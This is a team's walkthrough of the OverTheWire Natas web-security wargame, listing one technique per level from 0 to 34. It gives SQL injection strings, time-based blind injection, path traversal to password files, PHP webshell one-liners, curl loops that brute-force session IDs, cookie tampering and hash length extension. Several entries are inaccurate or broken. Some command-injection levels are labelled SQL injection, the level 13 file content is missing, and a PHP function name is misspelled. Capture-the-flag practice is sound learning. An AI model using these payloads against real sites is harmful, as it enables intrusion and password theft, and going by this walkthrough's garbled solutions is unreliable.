**Team Name: HackHunters** 

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**Commands: Natas** 

Level 0 → Level 1

- Command/Action:
   View Page Source (Ctrl+U)
- Logic: Password hidden inside an HTML comment.

# Level $1 \rightarrow \text{Level } 2$

Command/Action:
 Use basic authentication popup.

 View page source, find a base64 password.

#### Level 2 → Level 3

Command/Action:
 Find and manually browse the /files/ directory.

#### Level 3 → Level 4

 Command/Action: Inspect hidden elements. Browse manually to /s3cr3t/ directory.

# Level 4 → Level 5

- Command/Action:
   Modify HTTP Referer Header (via Burp Suite or browser extension like ModHeader).
- Example:

Referer: http://natas4.natas.labs.overthewire.org/

# Level 5 → Level 6

Command/Action:

**Modify Cookie:** 

**Set loggedin=1 manually in DevTools or Burp Suite.** 

# Level 6 → Level 7

Command/Action:

**URL** manipulation:

Change page=doesnotexist to page=home or use directory traversal (../).

#### Level 7 → Level 8

Command/Action:

**URL Parameter Injection:** 

Set page=../../../../etc/natas\_webpass/natas8

#### Level 8 → Level 9

Command/Action: Decode the encoded secret:

echo "3d3d516343746d4d6d6c315669563362" | xxd -r -p | rev | base64 -d

#### Level 9 $\rightarrow$ Level 10

Command/Action: Use SQL Injection in search form:

a' OR 1=1 --

# Level 10 $\rightarrow$ Level 11

Command/Action: Bypass input sanitization:

a" OR 1=1 --

# Level 11 $\rightarrow$ Level 12

Command/Action: Decrypt/Encrypt Cookies with XOR cipher.
 Use CyberChef or Python:

```
key = 'KNHL'
cipher = 'base64_cookie_value'
```

## Level 12 → Level 13

• Command/Action: Upload a PHP webshell disguised as a .jpg:

<?php

echo file\_get\_contents("/etc/natas\_webpass/natas13"); ?>

## Level 13 → Level 14

• Command/Action: Upload .php disguised with magic bytes. Create file starting with:

## Level 14 $\rightarrow$ Level 15

Command/Action: Perform SQL Injection on login form:

username: natas14" OR "1"="1

password: anything

#### Level 15 $\rightarrow$ Level 16

Command/Action: Blind SQL Injection using time delays:
 natas16" AND IF(password LIKE "a%", SLEEP(5), 0) --

# Level 16 → Level 17

Command/Action: Blind SQL Injection + timing attack.
 Script example:

for c in {a..z}; do curl -u natas16:password 'http://natas16.natas.labs.overthewire.org/?needle='\$c'%25' -- silent | grep -q 'respective string'; done

## Level 17 → Level 18

Command/Action: Brute-force Session IDs by guessing:

for i in {1..640}; do curl -b "PHPSESSID=\$i" http://natas18.natas.labs.overthewire.org/; done

# **Level 18** → **Level 19**

 Command/Action: Notice SessionID format changes (hexadecimal). Brute-force:

for id in \$(seq -w 0 640); do curl -b "PHPSESSID=\$id" http://natas19.natas.labs.overthewire.org/; done

#### Level 19 → Level 20

 Command/Action: Analyze sessions: Manipulate your PHPSESSID to impersonate an admin.

#### Level 20 $\rightarrow$ Level 21

• Command/Action: Forge POST request after setting a custom session (two different domains). Burp Suite is handy here.

# **Level 21** → **Level 22**

Command/Action: Intercept redirects manually. Use:
 curl -L -v -u natas21:password

http://natas21-experimenter.natas.labs.overthewire.org

# Level 22 → Level 23

 Command/Action: Bypass "no redirect" with URL crafting: /?revelio=1

## Level 23 → Level 24

 Command/Action: Upload a .php file into user profile and access it.

# Level 24 → Level 25

Command/Action: Exploit path traversal to include:

../../../etc/natas\_webpass/natas25

## Level 25 $\rightarrow$ Level 26

• Command/Action: Log poisoning: Inject PHP code into HTTP headers (e.g., User-Agent), then include server logs.

## Level 26 → Level 27

 Command/Action: Unsafe unserialize() vulnerability. Craft malicious serialized payloads.

# Level 27 → Level 28

 Command/Action: Bypass username validation by manipulating input (newlines %0a injection).

# Level 28 → Level 29

• Command/Action: Exploit HMAC signature miscalculation (hash length extension attack). Use a tool like hash\_extender.

# Level 29 → Level 30

- Command/Action: Use hash\_extender again for forgery:
- hash\_extender --data="&admin=1" --secret=16 -signature=[oldhash] --append="&admin=1" --format=sha256

# Level 30 → Level 31

• Command/Action: Server-Side Request Forgery (SSRF). Trick server to make internal requests.

#### Level 31 $\rightarrow$ Level 32

Command/Action: Local File Inclusion (LFI) inside the SSRF payload.

## Level 32 $\rightarrow$ Level 33

 Command/Action: Exploit upload vulnerabilities. Upload a PHP file that reads:

<?php echo file\_get\_content ("/etc/natas\_webpass /natas34"); ?>

# Level 33 → Level 34

 Command/Action: Cookie manipulation / Server-Side Template Injection (SSTI) depending on server behavior.